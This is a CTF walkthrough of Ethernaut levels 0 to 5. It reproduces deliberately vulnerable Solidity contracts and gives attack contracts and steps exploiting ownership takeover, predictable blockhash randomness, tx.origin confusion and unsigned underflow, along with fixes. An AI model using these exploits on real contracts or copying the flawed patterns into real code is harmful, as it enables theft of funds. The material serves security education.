Solving Ethernaut - Part 1 - Levels 0 to 5

Overview

Another Solidity and Ethereum security CTF game. This time we will be solving Ethernaut, the game hosted by OpenZeppelin.

As I did with CaptureTheEther, I used Remix IDE for solving most of the levels. The game mechanics here are a bit different than in CTE, mostly because the interaction with the contracts is done via the browser console. You can access it right-clicking on the page and opening the Inspector, then selecting the Console tab. It is recommended to have some basic knowledge of JavaScript, since the console interprets this language, however, it's not a requirement to finish the game.

Info

All my solutions to Ethernaut were coded some time ago, however, I had a bit more experience with Solidity than when I solved CaptureTheEther. The code still won't win any style or correctness competition, but does its job.

It's possible to see an improvement on the quality of my code. The contracts I used were not modified nor prettified for publishing, so I'm quite proud of my progress. Still there's a lot of room for even more improvements. Never stop learning and getting better at something.

The complete code for these solutions is at my Ethernaut-solutions github repo.


Level 0: Hello Ethernaut


This is an introductory level. It guides you through the game mechanics, the interaction with the contracts and the instance creation process. Read the instructions carefully and keep in mind that most of the remaining levels will follow similar logic.

Contract analysis

The contract is revealed upon completion of the level. Until then, all interactions are made using the console and the contract ABI.

Vulnerability / Attack vector

None, just a walkthrough for the game mechanics.

Solution

Follow the 9 steps, solve the riddles of the contract, and finish the level.

Conclusions

This introductory level will teach you:

  • The process of setting up a wallet, getting testnet ether and deploying the level instance.
  • Opening the browser JavaScript console.
  • The interaction with smart contracts from the browser JavaScript console using its ABI.

If all this works correctly in your setup, you're all set to solve the rest of the challenges.


Level 1: Fallback


The first real challenge of the series. The goal is to become the owner of the contract, and to empty its balance. There are some hints and tips too, like in most other levels. Make sure to read them and understand how those can help you in solving the challenge.

Contract analysis

This contract implements a variation of the King of the Hill game. To become the owner, you need to make a bigger contribution than the current owner. That said, only the owner is allowed to withdraw the money stored in the contract.

The code is to be compiled with an old (as of today) version of Solidity. However, it uses SafeMath to prevent integer overflows in mathematical operations.

There's an owner that is set to the deployer of the contract (that is, Ethernaut), a mapping that lists the contributions for each address, and the definition of the onlyOwner modifier.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4import '@openzeppelin/contracts/math/SafeMath.sol';
 5
 6contract Fallback {
 7
 8  using SafeMath for uint256;
 9  mapping(address => uint) public contributions;
10  address payable public owner;
11
12  constructor() public {
13    owner = msg.sender;
14    contributions[msg.sender] = 1000 * (1 ether);
15  }
16
17  modifier onlyOwner {
18        require(
19            msg.sender == owner,
20            "caller is not the owner"
21        );
22        _;
23    }
24
25  function contribute() public payable {
26    require(msg.value < 0.001 ether);
27    contributions[msg.sender] += msg.value;
28    if(contributions[msg.sender] > contributions[owner]) {
29      owner = msg.sender;
30    }
31  }
32
33  function getContribution() public view returns (uint) {
34    return contributions[msg.sender];
35  }
36
37  function withdraw() public onlyOwner {
38    owner.transfer(address(this).balance);
39  }
40
41  receive() external payable {
42    require(msg.value > 0 && contributions[msg.sender] > 0);
43    owner = msg.sender;
44  }
45}

Vulnerability / Attack vector

There's a backdoor that allows pretty much anyone to become the owner, by exploiting the receive() function.

Solution

The expected way to become owner is by calling contribute() with a msg.value higher than the current owner contribution. Looking at the constructor, the current owner has an initial contribution of 1000 ether, so it's a bit expensive to go that way. The alternative lies in the receive() function, which states that anyone that has already contributed can become the owner by sending some ether directly to the contract.

To interact with that receive() function from Remix, you should make a low level call to the contract with no calldata, and the transaction value set to something higher than 0. Directly doing that will trigger a revert from the require() at line 42. To prevent this, the player account should make a contribution calling contribute() prior to sending the ether.

Once the ownership is taken over, the level can be finished by calling withdraw()

Conclusions

Having two functions to perform the same action is dangerous, because it has the potential to increment the vulnerable surface of the contract. This level could be an example of a contract that performed the correct checks on both functions, but for some reason one of them was changed.


Level 2: Fallout


Again, the goal is to become the owner of the contract. Easy task, clear instructions.

Contract analysis

The contract is similar to the previous level. It keeps track of allocations instead of contributions, by means of four public functions. The implementation is an ownable contract with owner set to Ethernaut, SafeMath library, and onlyOwner modifier.

In a big difference from the Level 1 contract, there's no receive() function.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4import '@openzeppelin/contracts/math/SafeMath.sol';
 5
 6contract Fallout {
 7  
 8  using SafeMath for uint256;
 9  mapping (address => uint) allocations;
10  address payable public owner;
11
12
13  /* constructor */
14  function Fal1out() public payable {
15    owner = msg.sender;
16    allocations[owner] = msg.value;
17  }
18
19  modifier onlyOwner {
20	        require(
21	            msg.sender == owner,
22	            "caller is not the owner"
23	        );
24	        _;
25	    }
26
27  function allocate() public payable {
28    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
29  }
30
31  function sendAllocation(address payable allocator) public {
32    require(allocations[allocator] > 0);
33    allocator.transfer(allocations[allocator]);
34  }
35
36  function collectAllocations() public onlyOwner {
37    msg.sender.transfer(address(this).balance);
38  }
39
40  function allocatorBalance(address allocator) public view returns (uint) {
41    return allocations[allocator];
42  }
43}

Vulnerability / Attack vector

Similar to CTE's Assume ownership challenge, there's a typo (really? I'm quite sure it was intentional!) in the constructor.

Solution

To solve the level, just call the Fal1out() function. Note that the second lowercase L is actually a number 1. Some monotyped fonts are not clear enough and those characters look very similar.

Conclusions

For Solidity versions higher than 0.5.0, the constructor is not allowed to have the same name as the contract. It must use the constructor() keyword.

The fun (for a broad definition of fun) part of the level is that the contract compiles because of the vulnerability, since its pragma requires Solidity version 0.6.


Level 3: Coin Flip


To solve this level, you have to guess 10 times in a row the correct value of a boolean. This value comes from the blockhash of the previous block.

Contract analysis

The goal is to make uint256 consecutiveWins equal 10. The flip(bool) function checks that only one guess per block is made, and calculates the bool side value from the previous block hash, and a constant FACTOR used as divisor.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4import '@openzeppelin/contracts/math/SafeMath.sol';
 5
 6contract CoinFlip {
 7
 8  using SafeMath for uint256;
 9  uint256 public consecutiveWins;
10  uint256 lastHash;
11  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
12
13  constructor() public {
14    consecutiveWins = 0;
15  }
16
17  function flip(bool _guess) public returns (bool) {
18    uint256 blockValue = uint256(blockhash(block.number.sub(1)));
19
20    if (lastHash == blockValue) {
21      revert();
22    }
23
24    lastHash = blockValue;
25    uint256 coinFlip = blockValue.div(FACTOR);
26    bool side = coinFlip == 1 ? true : false;
27
28    if (side == _guess) {
29      consecutiveWins++;
30      return true;
31    } else {
32      consecutiveWins = 0;
33      return false;
34    }
35  }
36}

The _guess argument is compared to the calculated side boolean, and if they match, consecutiveWins is incremented. If you miss your guess, the counter gets reset.

Vulnerability / Attack vector

The values used to calculate side are constant in a given block. It is possible to precalculate the value and then call flip(bool) with the correct argument.

Solution

To solve the level, I created this contract that calls flip(bool) with the expected value. However, since only one guess is allowed per block, you have to manually call attack() ten times in different blocks.

 1contract CoinFlipAttack {
 2    
 3    using SafeMath for uint256;
 4    CoinFlip public target;
 5    
 6    constructor(address _target) public {
 7        target = CoinFlip(_target);
 8    }
 9    
10    function attack() public {
11        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
12        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
13        uint256 coinFlip = blockValue.div(FACTOR);
14        bool side = coinFlip == 1 ? true : false;
15        
16        target.flip(side);
17    }
18}

The uint256 consecutiveWins variable is public in CoinFlip contract, so you can check its value during the attack and stop when it gets to 10.

Conclusions

The original game had a success rate of about 1 in $2^{10}$, that is approximately 1 in 1000. The bug increased this rate to 1 in 1, it is technically impossible not to win this game with the exploit.

Randomness on the blockchain is a hard problem to solve. If you need random values, consider using Chainlink VRF or similar trusted sources of randomness.


Level 4: Telephone


Another short level, that teaches a very important concept of Solidity and EVM. The goal is to claim ownership of the contract.

Contract analysis

Only one public function changeOwner(address) in the contract, and 2 lines of logic. The owner gets initialized to Ethernaut on deployment. To change the owner, tx.origin must be different to msg.sender. The new owner comes as an argument to the function.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4contract Telephone {
 5
 6  address public owner;
 7
 8  constructor() public {
 9    owner = msg.sender;
10  }
11
12  function changeOwner(address _owner) public {
13    if (tx.origin != msg.sender) {
14      owner = _owner;
15    }
16  }
17}

Vulnerability / Attack vector

There are no vulnerabilities here, this level makes sure the player understands what tx.origin and msg.sender exactly mean for a given transaction.

Solution

The tx.origin is an Ethereum account whose secret key is known and initiated the transaction. These kind of accounts are called EOA, externally owned accounts, and their main difference with contract accounts is that EOAs can initiate transactions.

The msg.sender is the address of the caller to the current function. This can be equal to tx.origin if the function was directly called by the EOA.

These values can be different if the function is called from another contract, as shown in the figure

tx.origin and msg.sender for different transactions

So the solution lies in deploying a contract that acts as a middle-man:

1contract TelephoneAttack {
2    Telephone target;
3    
4    constructor(address _target) public {
5        target = Telephone(_target);
6        target.changeOwner(msg.sender);
7    }
8}

The call to the changeOwner(address) function of Telephone is made in the constructor, so there's nothing else to do.

Conclusions

There are many discussions about using tx.origin and its potential security implications. For example this issue at Solidity's GitHub.

If you're using tx.origin to validate some condition in your contract, remember that the user can be tricked to interact with a middle man, allowing the rogue contract to impersonate him.


Level 5: Token


This level gives the player 20 tokens and expects him to get some more. The hints are quite obvious if you finished CaptureTheEther: "preferably a very large amount of tokens" and "What is an odometer?" pretty much give away the solution.

Contract analysis

The contract implements a transfer(address, uint) function, and a balanceOf(address) function. The last one is somewhat redundant, as the mapping(address => uint) balances variable is public, and the bug isn't there because it's a view function, so it can't modify storage.

This leaves us with a vulnerable transfer(address, uint) function.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4contract Token {
 5
 6  mapping(address => uint) balances;
 7  uint public totalSupply;
 8
 9  constructor(uint _initialSupply) public {
10    balances[msg.sender] = totalSupply = _initialSupply;
11  }
12
13  function transfer(address _to, uint _value) public returns (bool) {
14    require(balances[msg.sender] - _value >= 0);
15    balances[msg.sender] -= _value;
16    balances[_to] += _value;
17    return true;
18  }
19
20  function balanceOf(address _owner) public view returns (uint balance) {
21    return balances[_owner];
22  }
23}

Vulnerability / Attack vector

Integer overflow in line 15.

Solution

Even though there's a require at line 14 that should check the balance, it deals with unsigned integers. Any mathematical result with unsigned integers will be equal or greater than zero, simply because there are no negative numbers (unsigned, remember?).

The attack does not require deploying a contract, the easy way to finish the level is transferring 21 tokens somewhere.

Conclusions

Even though there was an intent to validate the values, the programmer didn't see the flaw. This bug would not be exploitable if SafeMath or a newer Solidity version were used.

Posts in this Series

comments powered by Disqus